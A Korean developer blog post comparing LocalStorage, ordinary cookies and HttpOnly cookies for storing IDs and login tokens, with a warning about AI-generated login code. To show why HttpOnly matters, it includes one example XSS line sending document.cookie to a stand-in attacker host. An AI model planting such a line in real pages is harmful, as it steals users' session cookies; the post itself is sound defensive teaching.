목록으로
개발

바이브코딩할 때도 알아두면 좋은 로그인 저장소 이야기

Kai 21 0 0

LocalStorage? Cookie? HttpOnly Cookie?

로그인 기능을 만들다 보면 데이터를 어디에 저장할지 고민하게 됩니다.

  • 아이디 저장
  • 자동 로그인
  • JWT Access Token
  • Refresh Token

전부 같은 곳에 저장하면 될까요?

 

결론부터 말하면 용도에 따라 저장 위치가 다릅니다.

1. LocalStorage

가장 많이 사용하는 브라우저 저장 공간입니다.

브라우저에 데이터를 저장해 두며, 새로고침하거나 브라우저를 껐다 켜도 그대로 유지됩니다.

 

대표적으로 아래와 같은 데이터를 저장할 때 사용합니다.

  • 아이디 저장
  • 다크모드 설정
  • 최근 검색어
  • 사용자 환경설정

예시

localStorage.setItem("userId", "kai");

장점

  • 사용하기 쉽다.
  • 약 5MB 정도 저장 가능하다.
  • 브라우저를 종료해도 데이터가 유지된다.

단점

JavaScript에서 자유롭게 접근할 수 있습니다.

localStorage.getItem("token");

만약 사이트에 XSS(스크립트 삽입) 취약점이 있다면 악성 스크립트가 토큰을 읽어 외부로 전송할 수도 있습니다.

 

그래서 로그인 토큰을 LocalStorage에 저장하는 것은 신중하게 선택해야 합니다.

2. Cookie

Cookie도 브라우저에 저장되는 데이터입니다.

 

LocalStorage와 가장 큰 차이는 HTTP 요청을 보낼 때 서버로 자동 전송된다는 점입니다.

예를 들어

https://example.com

으로 요청하면

Cookie: session=xxxxx

가 자동으로 함께 전달됩니다.

장점

  • 서버가 자동으로 쿠키를 받습니다.
  • 세션 로그인 구현이 쉽습니다.

단점

기본 Cookie는 JavaScript에서도 읽을 수 있습니다.

document.cookie

즉 XSS 공격을 당하면 쿠키 내용도 탈취될 수 있습니다.

3. HttpOnly Cookie

로그인 보안에서 가장 중요한 개념입니다.

 

쿠키를 만들 때 HttpOnly 옵션을 지정하면 브라우저에는 저장되지만 JavaScript에서는 접근할 수 없습니다.

 

즉 아래 코드를 실행해도

document.cookie

HttpOnly Cookie는 보이지 않습니다.

 

읽을 수 있는 것은 오직

  • 브라우저
  • 서버

뿐입니다.

 

그래서 대부분의 서비스는

  • Refresh Token
  • Session ID

를 HttpOnly Cookie에 저장합니다.

왜 HttpOnly가 안전할까?

만약 사이트에 악성 스크립트가 실행되더라도

fetch("https://hack.com?cookie=" + document.cookie);

처럼 쿠키를 탈취하려고 해도

HttpOnly Cookie는 JavaScript에서 읽을 수 없기 때문에 전송되지 않습니다.

 

물론 XSS 자체를 막아주는 것은 아니지만, 로그인 토큰 탈취 위험을 크게 줄여주는 매우 중요한 보안 옵션입니다.

그럼 아이디 저장은?

아이디 저장 정도는

  • LocalStorage
  • 일반 Cookie

둘 중 아무거나 사용해도 크게 문제 없습니다.

아이디 자체는 보안 정보가 아니기 때문입니다.

 

하지만

  • 비밀번호
  • JWT
  • Refresh Token

같은 민감한 정보는 저장 방식에 더 신경 써야 합니다.

실제 서비스에서는?

대부분 아래처럼 사용합니다.

저장할 데이터 추천 저장 위치
아이디 저장 LocalStorage 또는 Cookie
다크모드 설정 LocalStorage
최근 검색어 LocalStorage
Access Token 메모리(React State 등) 또는 짧은 수명의 토큰
Refresh Token HttpOnly Cookie
Session ID HttpOnly Cookie

바이브코딩에서는 특히 조심!

AI에게 로그인 기능을 만들어 달라고 하면 아직도 많은 예제가 JWT를 LocalStorage에 저장합니다.

동작은 하지만, 실제 서비스를 운영할 예정이라면 한 번쯤은 저장 위치를 다시 고민해 보세요.

 

'로그인이 된다'와 '안전하게 로그인된다'는 전혀 다른 이야기입니다.

 

LocalStorage, Cookie, HttpOnly Cookie의 차이만 이해해도 AI가 생성한 로그인 코드를 훨씬 자신 있게 검토하고 개선할 수 있습니다.

, , , , ,
게시물 메뉴